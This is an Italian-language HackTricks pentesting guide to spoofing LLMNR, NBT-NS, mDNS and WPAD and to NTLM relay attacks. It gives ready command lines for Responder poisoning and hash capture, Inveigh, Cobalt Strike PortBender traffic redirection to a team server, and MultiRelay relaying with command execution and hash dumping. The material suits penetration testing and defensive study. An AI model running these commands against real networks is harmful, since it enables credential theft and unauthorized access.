hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

9.6 KiB

Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Attacchi di Reindirizzamento

{% hint style="success" %} Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks
{% endhint %}

Protocolli di Risoluzione dell'Host Locale

LLMNR, NBT-NS e mDNS

  • Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
  • Questi protocolli sono suscettibili all'intercettazione e allo spoofing a causa della loro natura non autenticata e di trasmissione su UDP.
  • Responder può essere utilizzato per impersonare servizi inviando risposte contraffatte agli host che interrogano questi protocolli.
  • Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate qui.

Protocollo di Scoperta Automatica del Proxy Web (WPAD)

  • WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
  • La scoperta è facilitata tramite DHCP, DNS o fallback a LLMNR e NBT-NS se DNS fallisce.
  • Responder può automatizzare gli attacchi WPAD, indirizzando i client ai server WPAD maligni.

Responder per l'Avvelenamento del Protocollo

  • Responder è uno strumento utilizzato per avvelenare le query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
  • Viene preinstallato in Kali Linux, configurabile in /etc/responder/Responder.conf.
  • Responder visualizza gli hash catturati sullo schermo e li salva nella directory /usr/share/responder/logs.
  • Supporta sia IPv4 che IPv6.
  • La versione Windows di Responder è disponibile qui.

Esecuzione di Responder

  • Per eseguire Responder con le impostazioni predefinite: responder -I <Interfaccia>
  • Per una scansione più aggressiva (con potenziali effetti collaterali): responder -I <Interfaccia> -P -r -v
  • Tecniche per catturare le sfide/risposte NTLMv1 per una crack più semplice: responder -I <Interfaccia> --lm --disable-ess
  • L'impersonificazione di WPAD può essere attivata con: responder -I <Interfaccia> --wpad
  • Le richieste NetBIOS possono essere risolte con l'IP dell'attaccante e può essere configurato un proxy di autenticazione: responder.py -I <interfaccia> -Pv

Avvelenamento DHCP con Responder

  • Lo spoofing delle risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più stealth all'avvelenamento ARP.
  • Richiede una conoscenza precisa della configurazione della rete di destinazione.
  • Esecuzione dell'attacco: ./Responder.py -I eth0 -Pdv
  • Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni di rete.

Cattura delle Credenziali con Responder

  • Responder impersonerà servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi contraffatti.
  • Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una crack più semplice delle credenziali.

È fondamentale notare che l'utilizzo di queste tecniche dovrebbe essere fatto in modo legale ed etico, garantendo un'autorizzazione adeguata e evitando interruzioni o accessi non autorizzati.

Inveigh

Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo attacchi di spoofing e man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con Inveigh e InveighZero come versioni principali. I parametri dettagliati e le istruzioni possono essere trovati nel wiki.

Inveigh può essere utilizzato tramite PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O eseguito come un binario C#:

Inveigh.exe

Attacco di rilancio NTLM

Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina di destinazione, concedendo una shell di sistema in caso di successo. I prerequisiti chiave includono:

  • L'utente che si autentica deve avere accesso come amministratore locale sull'host rilanciato.
  • La firma SMB dovrebbe essere disabilitata.

Inoltro e tunneling della porta 445

Nei casi in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelato. Strumenti come PortBender aiutano a reindirizzare il traffico della porta 445 su un'altra porta, il che è essenziale quando è disponibile l'accesso come amministratore locale per il caricamento del driver.

Configurazione e funzionamento di PortBender in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Altri Strumenti per Attacchi di Rilancio NTLM

  • Metasploit: Configurato con proxy, dettagli di host locali e remoti.
  • smbrelayx: Uno script Python per il rilancio delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
  • MultiRelay: Uno strumento della suite Responder per rilanciare utenti specifici o tutti gli utenti, eseguire comandi o estrarre hash.

Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, consentendo attacchi anche con accesso di rete indiretto.

Operazione MultiRelay

MultiRelay viene eseguito dalla directory /usr/share/responder/tools, mirando a IP o utenti specifici.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Forzare i Login NTLM

In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la seguente pagina per saperne di più:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Riferimenti

{% hint style="success" %} Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}